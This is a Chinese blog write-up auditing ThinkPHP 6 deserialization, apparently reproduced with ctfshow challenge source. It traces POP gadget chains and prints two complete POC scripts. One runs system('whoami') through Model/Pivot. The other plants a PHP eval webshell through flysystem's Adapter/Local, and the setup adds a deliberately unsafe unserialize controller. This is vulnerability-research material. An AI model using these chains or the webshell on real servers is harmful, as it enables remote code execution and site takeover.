[PHP代码审计]-Tp6漏洞--反序列化


这里记录了我复现分析的时候遇到的困难、奇葩问题,不够详细请谅解

关于 TP6 的反序列化 POC,除 v6.0.0-rc3 以前的版本可用,其他的已全部失效!官方 github 未找到 commit 记录

但是链子还是值得一看的,虽然旧链新用说不定发现其他东西了呢

由于复现麻烦弃坑了。。 把 ctfshow 的tp题目源码拖下来了,又可以愉快的分析啦

[TOC]

RCE

环境搭建

➜  PHPSec composer create-project --prefer-dist topthink/think=6.0.x-dev tp6
➜  PHPSec cd .\tp6\
➜  tp6 composer update

修改控制器

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        unserialize($_POST['a']);
        return 'Hello TP6.0';
    }

    public function hello($name = 'ThinkPHP6')
    {
        return 'hello,' . $name;
    }
}

POP分析

TP5 POP 链子入口都是 think\process\pipes\Windows 但是 TP6 中将其删除了,但是其 __toString() 之后的 Gadget 还在,这里用的是 TP5.2 的链子,我没分析 5.2 的在这里走一遍吧哈哈哈,都差不多的。全局搜索 __destruct() ,在 vendor\topthink\think-orm\src\Model.php 中找到可利用方法,其 __destruct() 调用了 save(),跟进看看,save() 调用了 updateData() ,但其需要三个前置条件:$this->data !== null$this->withEvent = false$this->exists = true

image-20210820094923284

updateData() 中其调用了 checkAllowFields(),而 checkAllowFields() 中存在可控变量的拼接,所以配上原来的 __toString() 的 Gadget 即可完成利用

image-20210820095534656

  1. 这里第一个 if 前面已经绕过:$this->withEvent = false

  2. 第二个 if 需要 $data !== null (前面已经设置),跟进 getChangedData() 看看会不会改变 $data,需要 $this->force = true

    image-20210820095837809

checkAllowFields() 这里在跟进 $this->db()

image-20210820103628394

$this->table != null 即可拼接变量,可触发 __toString()

image-20210820103705319

搜索 __toString() 还是在 vendor\topthink\think-orm\src\model\concern\Conversion.php 中去利用,__toString() -> $this->toJson() -> $this->toArray(),跟进 $this->getAttr()

image-20210820104141144

这里调用了 getValue(),在那之前先看看 getData() 怎么更改 $value

image-20210820104208604

279 的 $name 追到上面是 $this->data 的键值,不是为空的所以跟进 getRealFieldName()

image-20210820104409217

这里直接默认就返回了 $name,所以没必要管他。然后再看上图,285 行的判断,$name 本来就是 $this->data 的键值,所以在往上 $value 就是 $this->data[$key]

image-20210820105734365

然后再去看 getValue(),500 行可以动态执行了(懂我意思吧),要过挺多的 if

第一个 if 不用管,只需要设置 $this->withAttr[$fieldName] 为数组就行

细看这个方法发现和别人分析的不一样,执行命令前加了一个判断 if ($closure instanceof \Closure) 需要 $closure 为闭包(匿名函数),这就堵死了链子的使用,为啥我不能用?别人可以?版本问题?

image-20210820110348364

去 github 看看 releases 说明发现在 29 天前 官方把漏洞修复了。。。我下载的最新版本自然不行,但在 commit 中我未找到其更改记录,可能是我不仔细吧,没有发现,更改版本再试试。。。也不行

image-20210820140527013

切换全部版本发现都会有这个判断,那他们是怎么分析的?在 github 中最新版也就是 v6.0.0-rc3 中才有这种代码

image-20210820142940930

那没办法,手动修改代码,将 if 注释掉,POC 可用,不能动态执行,只能修改 POC

image-20210820143240919

POC

<?php
/**
 * @Author ying
 * @Date 8/20/2021 10:01 AM
 * @Version 1.0
 */

namespace think\model {

    use think\Model;

    class Pivot extends Model
    {
    }
}

namespace think {

    abstract class Model
    {
        private $lazySave = false;
        private $data = [];
        protected $withEvent = true;
        private $exists = false;
        private $force = false;
        protected $table;
        private $withAttr = [];

        public function __construct($obj = '')
        {
            $this->lazySave = true;
            $this->data = array('yq1ng'=>'whoami');
            $this->withEvent = false;
            $this->exists = true;
            $this->force = true;
            $this->table = $obj;
            $this->withAttr = array('yq1ng'=>'system');
        }
    }
}

namespace {

    use think\model\Pivot;

    echo urlencode(serialize(new Pivot(new Pivot())));
}

写文件

POP分析

这个链子比上一个简单太多了,全局搜 __destruct() ,找到 vendor\league\flysystem-cached-adapter\src\Storage\AbstractCache.php ,其析构函数也调用了 save() ,但和上一个不一样的哈,这个类是个抽象类,首先要找它的子类

image-20210820171611225

image-20210820171715261

挺多的,选第一个看看,vendor\league\flysystem-cached-adapter\src\Storage\Adapter.php::save() ,最后有个写文件的操作,介好啊,在那之前先看看前面的 if 能不能过,三个参数可不可控

image-20210820171741899

先看 $contents ,跟进 getForStorage()

image-20210820171929763

再去看 cleanContents(),这里的 $contents 上图的 $this-cache,不想那么多,直接把他为空。在看上图返回的是 json_encode ,其他两个参数也可控,随意把一个参数变为一句话木马就行,所以 上上图的 $contents 就可控,文件内容就是可控的

image-20210820171959307

然后看 if ($this->adapter->has($this->file)) 怎么想法让他为 false ,在本类中并没有 has() 方法的定义,所以还要找,也是很多,这里使用了 vendor\league\flysystem\src\Adapter\Local.php::has() ,因为这个比较简单,看方法名是 应用路径前缀 ,进去看看吧

image-20210820172418938

没什么更改的,那么随意指定一个不存在的文件即可绕过 if 进入写文件的操作

image-20210820172612441

可能会有疑问,方法不是本类怎么办?再看 if 他是指定了一个任意类的方法,而 $this->adapter 是可控的,所以没关系啦。恰好,vendor\league\flysystem\src\Adapter\Local.php 中也有 write() ,且实现简单,没有过滤

image-20210820172903143

file_put_contents() 有第三个参数,我也是第一次见,看了看源码(function file_put_contents ($filename, $data, $flags = 0, $context = null) {}),不影响我们的操作。官方描述是这样:

image-20210820173258672

POC

<?php
/**
 * @Author ying
 * @Date 8/20/2021 5:01 PM
 * @Version 1.0
 */

namespace League\Flysystem\Cached\Storage {

    use League\Flysystem\Adapter\Local;

    class Adapter
    {
        protected $autosave = true;
        protected $expire = null;
        protected $adapter;
        protected $file;

        public function __construct()
        {
            $this->autosave = false;
            $this->expire = '<?php eval($_POST[1]);?>';
            $this->adapter = new Local();
            $this->file = 'yq1ng.php';
        }
    }
}

namespace League\Flysystem\Adapter {
    class Local
    {
    }
}

namespace {

    use League\Flysystem\Cached\Storage\Adapter;

    echo urlencode(serialize(new Adapter()));
}

文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录